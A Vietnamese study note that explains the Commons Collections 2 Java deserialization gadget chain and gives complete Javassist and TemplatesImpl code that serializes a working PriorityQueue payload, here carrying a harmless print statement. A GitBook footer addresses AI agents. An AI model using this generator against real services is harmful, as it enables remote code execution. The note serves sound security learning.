> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/commons-collections-2.md).

# Commons Collections 2

## Chain Commons Collections 2

Chain của CC2 sẽ như sau :

```java
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
```

### **Javasist(Java Programming Assistant):**

Khi chúng ta compile `.java` thành `.class` bằng javac ra dạng bytecode. Javasist là một thư viện để xử lý bytecode, có thể chỉnh sửa bytecode của file class.

**Các method thường được dùng:**

ClassPool là một container của `CtClass` objects, từ đó có thể lấy được `CtClass`, bằng cách gọi đến `ClassPool.getDefault()`.

<figure><img src="/files/Lsag6RqdtsLvQOrzmHzg" alt=""><figcaption></figcaption></figure>

Nó sẽ trả về default class pool.

Default class pool tìm những system search path, thường bao gồm các platform library và extension library. Search path được định nghĩa bằng -classpath option của command javac, hoặc biến môi trường CLASSPATH.

> **Classpath là một tham số trong JVM hoặc Java Compiler. chỉ định vị trí của class và package do người dùng xác định. Tham số này có thể được đặt trong commandline hoặc qua environment variable**

```java
	ClassPool pool = ClassPool.getDefault();
```

Tạo một class Evil:

```java
CtClass test = pool.makeClass("Evil");
```

Add class search path sử dụng `ClassPool.getDefault();` nhưng trong trường hợp chương trình chạy trên Tomcat hoặc JBoss, class của user có thể không được tìm thấy.

Trong trường hợp này ta cần phải add path bằng cách sau:

```java
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
```

Gắn class được kế thừa:

```java
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
```

Tạo một static constructor:

```java
CtConstructor constructor = test.makeClassInitializer();
```

Insert bytecode at the beginning

```java
constructor.insertBefore("System.out.println(\"Hello,Javasist\");");
```

Demo :

```java
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

public class testJavaAssist {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file
    }
}
```

Khi chạy file trên sẽ tạo ra một file `Evil.class` sau ở classpath:

<figure><img src="/files/8dMQWiDpHrDgud2TlloK" alt=""><figcaption></figcaption></figure>

### **ClassLoader#defineClass:**

`ClassLoader::defineClass` có thể dùng để chạy một class từ mảng byte:

<figure><img src="/files/ocbyXbWNzieHI58GHsc6" alt=""><figcaption></figcaption></figure>

Vì nó là protected do đó ta phải dùng reflect api để gọi đến nó:

```java
Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
getMethod.setAccessible(true);//access private method
getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
```

Code load from class

```java
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class testJavaAssist {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file

        byte[] bytes = test.toBytecode();

        Class getClass = Class.forName("java.lang.ClassLoader");//get Classloader
        Method getMethod = getClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);//get method
        getMethod.setAccessible(true);//access private method
        getMethod.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
    }
}
```

Nhưng sau khi chạy thì k có gì xảy ra, bởi vì nó chỉ invoke để `defineClass` chứ chưa chạy instance class. Nên phải khởi tạo instance để nó có thể chạy constructor

<figure><img src="/files/ZtmcBSJ0gPgRq77gqb1j" alt=""><figcaption></figcaption></figure>

### **TemplatesImpl :**

Để dùng được method `defineClass` thì cần dùng `TemplatesImpl`

<figure><img src="/files/cbEgSkEKyObt74mvB3Hd" alt=""><figcaption></figcaption></figure>

Có method `defineClass` (Chỗ này là method return ra value với type là Class chứ k phải 1 class)

Để call được `defineClass` thì chúng ta cần call như sau :

```java
new TransletClassLoader(blabla.class.getClassLoader()).defineClass(bytes)
```

Vậy giờ cần tìm chỗ call tới method `defineClass` này :

Nó nằm trong method `defineTransletClasses()`

<figure><img src="/files/jhTgHTyKz3iVkYZMpjnJ" alt=""><figcaption></figcaption></figure>

Mà chỗ gọi `defineTransletClasses` là method `getTransletInstance`

Còn `getTransletInstance` là method public, của class `TemplatesImpl`nên sẽ được gọi tuỳ ý

<figure><img src="/files/uagtlfdfTuGtb5Sr8vt9" alt=""><figcaption></figcaption></figure>

Flow đoạn này sẽ như sau :

```java
TemplatesImpl.newTransformer()
		TemplatesImpl.getTransletInstance()
				TemplatesImpl.defineTransletClasses()
						TemplatesImpl.defineClass()
```

Giờ chúng ta cần debug để gen payload từ sườn này :

```java
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class testJavaAssist {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file

        byte[] bytes = test.toBytecode();
        
    }
}
```

Tạo instance `TemplatesImpl`

Khi debug thì thấy cần set `_name` khác null để nó ko return null và `_class` thành null.

<figure><img src="/files/Fa7hg2FtRZb4e1phxjc7" alt=""><figcaption></figcaption></figure>

Và nó là field private nên phải dùng reflection

<figure><img src="/files/3YlHhJglOaS1ouwqJnO8" alt=""><figcaption></figcaption></figure>

```java
Field _name = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_name");
_name.setAccessible(true);
_name.set(template,"ccc");
Field _class = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_class");
_class.setAccessible(true);
_class.set(template,null);
```

Và set `_bytecodes`

<figure><img src="/files/c6zbTzd6jhQOv2lwcm26" alt=""><figcaption></figcaption></figure>

set `_bytecodes`:

```java
Field _bytecodes = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(template,new byte[][]{bytes});
```

Để ý thì `_tfactory` là instance của `TransformerFactoryImpl` nên cần set

<figure><img src="/files/3gHbXyD8AASH8DMlythZ" alt=""><figcaption></figcaption></figure>

Và nó đã hello rồi

<figure><img src="/files/D6J1uUlponIZ7GzVOBq6" alt=""><figcaption></figcaption></figure>

Code :

```java
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class testJavaAssist {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file

        byte[] bytes = test.toBytecode();
        TemplatesImpl template = new TemplatesImpl();
        Field _name = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(template,"ccc");
        Field _class = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(template,null);
        Field _bytecodes = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(template,new byte[][]{bytes});
        Field _tfactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(template,new TransformerFactoryImpl() );
        template.newTransformer();
    }
}
```

Vậy là đã xong 1 nửa của chain

```java
ObjectInputStream.readObject()
    PriorityQueue.readObject()
	    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
	                                TemplatesImpl.defineTransletClasses()
                                    TransletClassLoader.defineClass()
                                newInstance()
                                    Runtime.getRuntime().exec("calc.exe")

```

### **InvokeTransformer.transform()**

Thì như CC1 là nó gọi `transform()` và invoke

<figure><img src="/files/WXQxMSh8HQNN12cxxcdN" alt=""><figcaption></figcaption></figure>

Nó sẽ thực thi method `this.iMethodName` của Object input. Ta đang muốn nó thực thi method `newTransformer()` của object template lúc nãy, nên ta sẽ gọi như sau:

```java
InvokerTransformer testExec = new InvokerTransformer("newTransformer",new Class[]{}, new Object[]{});
testExec.transform(template);
```

### **TransformingComparator.compare()**

Đây là chỗ để trigger `transform()`với `this.transformer`

<figure><img src="/files/6RBHml5FMhEZhJz5lzso" alt=""><figcaption></figcaption></figure>

Mà `this.transformer` có thể control qua constructor

Vậy ta có thể trigger `InvokeTransformer.transform()` như sau:

```java
TransformingComparator tfc= new TransformingComparator(testExec);
tfc.compare(template, 1);
```

Tiếp tục, chúng ta cần trigger tới `TransformingComparator.compare()`

### **PriorityQueue.siftDownUsingComparator()**

Trong method **`siftDownUsingComparator`** gọi tới `comparator.compare`, compare được control bằng constructor. Và chúng ta cần control được `x`

<figure><img src="/files/mQoeXhncfhN9juyDpYdn" alt=""><figcaption></figcaption></figure>

Và `siftDownUsingComparator` được gọi qua `siftDown()`

### **PriorityQueue.siftDown()**

<figure><img src="/files/rn9iXnUqF4uYauAkFzvz" alt=""><figcaption></figcaption></figure>

### **PriorityQueue.heapify()**

`siftDown()` được gọi thông qua `heapify`

<figure><img src="/files/Z8OQBFyxooXWNGD3Al6L" alt=""><figcaption></figcaption></figure>

method này k có tham số truyền vào, vậy thì chúng ta cần control được tham số trong này

trong method add, nó call tới offer()

<figure><img src="/files/JIIcDk9WF3Sf13gQcarV" alt=""><figcaption></figcaption></figure>

Mà offer nó sẽ add element vào trong queue vậy thì chúng ta có thể add vô.

heapify được call từ `readObject`

<figure><img src="/files/2LnYuQBMnofZf8AkYLaL" alt=""><figcaption></figcaption></figure>

Chỗ này, nó cần loop 1 lần để `siftDown` được gọi, vậy nên size cần là 2. Và trong queue sẽ là `template`

<figure><img src="/files/YVtylvuvU88TsrO40DtJ" alt=""><figcaption></figcaption></figure>

```java
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.PriorityQueue;

public class testJavaAssist {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file

        byte[] bytes = test.toBytecode();
        TemplatesImpl template = new TemplatesImpl();
        Field _name = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(template,"ccc");
        Field _class = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(template,null);
        Field _bytecodes = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(template,new byte[][]{bytes});
        Field _tfactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(template,new TransformerFactoryImpl() );
        InvokerTransformer testExec = new InvokerTransformer("newTransformer",new Class[]{}, new Object[]{});
        TransformingComparator aaa = new TransformingComparator(testExec);

        PriorityQueue queue = new PriorityQueue(100, aaa);
        queue.add(template);
        queue.add(template);
        try {
            //Serialize
            System.out.println("Write Object to file");
            FileOutputStream fos = new FileOutputStream("src/cc2_gen.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(queue);
            oos.close();
            fos.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Nhưng mà không gen được file. Nó bị lỗi do đoạn dùng class Evil nên quăng ra exception luôn.

vậy chúng ta cần tìm cách fix.

Chúng ta có thể dùng **Reflection Swap**. Chúng ta có thể ko cho code gen payload chạy đoạn build Class Evil và `defineClass`. Mà sẽ truyền vô 1 method để nó invoke trong `InvokerTransformer` thay vì `newTransformer` để trigger chain Call tới Class `Evil` . Ta có thể dùng method `toString()` sau đó dùng reflection set lại để gọi tới `newTransformer`

```java
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.PriorityQueue;

public class testJavaAssist {

    public static void main(String[] args) throws Exception{

        ClassPool pool = ClassPool.getDefault(); // Get default class pool.

        CtClass test = pool.makeClass("Evil"); // create Evil.class file

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); //select classpath
        test.setSuperclass(pool.get(AbstractTranslet.class.getName())); // select parent class

        CtConstructor constructor = test.makeClassInitializer();//Create empty constructor
        String cmd = "System.out.println(\"Hello,Javasist\");";
        constructor.insertBefore(cmd);//Insert Bytecode before constructor.

        test.writeFile("./");//write data to .class file

        byte[] bytes = test.toBytecode();
        TemplatesImpl template = new TemplatesImpl();
        Field _name = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(template,"ccc");
        Field _class = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(template,null);
        Field _bytecodes = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(template,new byte[][]{bytes});
        Field _tfactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(template,new TransformerFactoryImpl() );
        InvokerTransformer testExec = new InvokerTransformer("toString",new Class[]{}, new Object[]{});
        TransformingComparator aaa = new TransformingComparator(testExec);

        PriorityQueue queue = new PriorityQueue(100, aaa);
        queue.add(template);
        queue.add(template);
        Field iMethodName = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(testExec,"newTransformer");
        try {
            //Serialize
            System.out.println("Write Object to file");
            FileOutputStream fos = new FileOutputStream("src/cc2_gen.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(queue);
            oos.close();
            fos.close();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Done.

<figure><img src="/files/da54TRLxVsD9pX5Gj48i" alt=""><figcaption></figcaption></figure>

## Reference

* <https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/commons-collections-2.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
